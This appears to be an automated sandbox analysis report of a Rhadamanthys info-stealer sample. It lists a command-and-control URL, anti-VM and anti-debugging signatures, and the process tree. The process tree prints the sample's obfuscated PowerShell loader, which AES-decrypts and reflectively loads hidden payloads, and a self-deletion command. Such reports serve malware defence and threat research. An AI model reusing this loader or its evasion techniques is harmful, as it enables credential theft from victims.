Analysis
- max time kernel
52s - max time network
131s - platform
windows10-2004_x64 - resource
win10v2004-20230220-en - resource tags
- submitted
19/04/2023, 16:07
General
- Target 10FpDvByrqvHWUgFegBMjMmEkh.bat
- Size 189KB
- Sample230419-tknefabg49
- SHA256 23f45fe1261dd687ee376dc36555a98b72ab76c70a330d8bd33e2bfa1d41aeb1
Malware Config
Extracted
-
rhadamanthys
-
http://185.224.129.51:8080/modlib/o6u3ke.661c
Signatures
- Detect rhadamanthys stealer shellcode 3 IoCs
- Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
- Enumerates VirtualBox registry keys 2 TTPs 5 IoCs
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
- Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
- Looks for VMWare Tools registry key 2 TTPs 1 IoCs
- Checks BIOS information in registry 2 TTPs 3 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
- Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
- Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 28 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\10FpDvByrqvHWUgFegBMjMmEkh.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -c #2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\10FpDvByrqvHWUgFegBMjMmEkh.bat.exe"C:\Users\Admin\AppData\Local\Temp\10FpDvByrqvHWUgFegBMjMmEkh.bat.exe" function Dr($f){$f.Replace('AXQs', '')}$ezXk=Dr 'GeAXQstAXQsCuAXQsrAXQsrentAXQsPrAXQsocAXQsessAXQs';$Irdc=Dr 'ReAXQsadLiAXQsneAXQssAXQs';$GdQU=Dr 'InvAXQsokeAXQs';$oeNz=Dr 'FiAXQsrAXQssAXQstAXQs';$Skvh=Dr 'FAXQsromAXQsBasAXQse6AXQs4AXQsStrAXQsingAXQs';$Frss=Dr 'LoaAXQsdAXQs';$iCMB=Dr 'TAXQsrAXQsaAXQsnAXQssforAXQsmFAXQsinAXQsalAXQsBloAXQsckAXQs';$NIox=Dr 'CrAXQseaAXQstAXQseDeAXQscrAXQsyptAXQsorAXQs';$dXiP=Dr 'ChaAXQsngAXQseEAXQsxteAXQsnsiAXQsonAXQs';$Ethu=Dr 'EntrAXQsyAXQsPAXQsoAXQsinAXQstAXQs';function PiTFT($XOBWp,$PzVDp,$lwaqj){$zClni=[System.Security.Cryptography.Aes]::Create();$zClni.Mode=[System.Security.Cryptography.CipherMode]::CBC;$zClni.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$zClni.Key=[System.Convert]::$Skvh($PzVDp);$zClni.IV=[System.Convert]::$Skvh($lwaqj);$rFEvg=$zClni.$NIox();$WebjH=$rFEvg.$iCMB($XOBWp,0,$XOBWp.Length);$rFEvg.Dispose();$zClni.Dispose();$WebjH;}function WDCxf($XOBWp){$euCrm=New-Object System.IO.MemoryStream(,$XOBWp);$MDTEe=New-Object System.IO.MemoryStream;$wFbGM=New-Object System.IO.Compression.GZipStream($euCrm,[IO.Compression.CompressionMode]::Decompress);$wFbGM.CopyTo($MDTEe);$wFbGM.Dispose();$euCrm.Dispose();$MDTEe.Dispose();$MDTEe.ToArray();}function vGOdU($XOBWp,$PzVDp){[System.Reflection.Assembly]::$Frss([byte[]]$XOBWp).$Ethu.$GdQU($null,$PzVDp);}$ccWcY=[System.Linq.Enumerable]::$oeNz([System.IO.File]::$Irdc([System.IO.Path]::$dXiP([System.Diagnostics.Process]::$ezXk().MainModule.FileName, $null)));$lORZK = $ccWcY.Substring(3).Split('\');$xzfhv=WDCxf (PiTFT ([Convert]::$Skvh($lORZK[0])) $lORZK[2] $lORZK[3]);$pmqpI=WDCxf (PiTFT ([Convert]::$Skvh($lORZK[1])) $lORZK[2] $lORZK[3]);vGOdU $pmqpI $null;vGOdU $xzfhv $null;2⤵
- Enumerates VirtualBox registry keys
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Checks system information in the registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks for VirtualBox DLLs, possible anti-VM trick
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(452);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
10FpDvByrqvHWUgFegBMjMmEkh.bat.exe
10FpDvByrqvHWUgFegBMjMmEkh.bat.exe
__PSScriptPolicyTest_g2qamug0.d3r.ps1
memory/452-172-0x0000000000400000-0x0000000000432000-memory.dmp
memory/452-188-0x0000000002D80000-0x0000000002D90000-memory.dmp
memory/452-154-0x0000000005700000-0x0000000005766000-memory.dmp
memory/452-155-0x0000000005770000-0x00000000057D6000-memory.dmp
memory/452-152-0x0000000002D80000-0x0000000002D90000-memory.dmp
memory/452-166-0x0000000006620000-0x000000000663E000-memory.dmp
memory/452-167-0x0000000002D80000-0x0000000002D90000-memory.dmp
memory/452-168-0x0000000008E80000-0x00000000094FA000-memory.dmp
memory/452-169-0x0000000006BF0000-0x0000000006C0A000-memory.dmp
memory/452-151-0x0000000002D80000-0x0000000002D90000-memory.dmp
memory/452-149-0x0000000002D00000-0x0000000002D36000-memory.dmp
memory/452-150-0x0000000005820000-0x0000000005E48000-memory.dmp
memory/452-198-0x0000000006AC0000-0x0000000006ADC000-memory.dmp
memory/452-186-0x0000000002D80000-0x0000000002D90000-memory.dmp
memory/452-187-0x0000000002D80000-0x0000000002D90000-memory.dmp
memory/452-153-0x0000000005640000-0x0000000005662000-memory.dmp
memory/452-197-0x0000000006AE0000-0x0000000006AE3000-memory.dmp
memory/452-196-0x0000000006AE0000-0x0000000006AE2000-memory.dmp
memory/452-193-0x0000000006AC0000-0x0000000006ADC000-memory.dmp
memory/452-195-0x0000000006AC0000-0x0000000006ADC000-memory.dmp
memory/952-191-0x00000000027A0000-0x00000000027B0000-memory.dmp
memory/952-190-0x00000000027A0000-0x00000000027B0000-memory.dmp
memory/952-184-0x00000000027A0000-0x00000000027B0000-memory.dmp
memory/952-185-0x00000000027A0000-0x00000000027B0000-memory.dmp
memory/952-202-0x0000000006640000-0x00000000066D6000-memory.dmp
memory/952-203-0x00000000065D0000-0x00000000065F2000-memory.dmp
memory/952-204-0x00000000078A0000-0x0000000007E44000-memory.dmp
memory/952-205-0x00000000027A0000-0x00000000027B0000-memory.dmp
memory/3664-133-0x000001DB290F0000-0x000001DB29112000-memory.dmp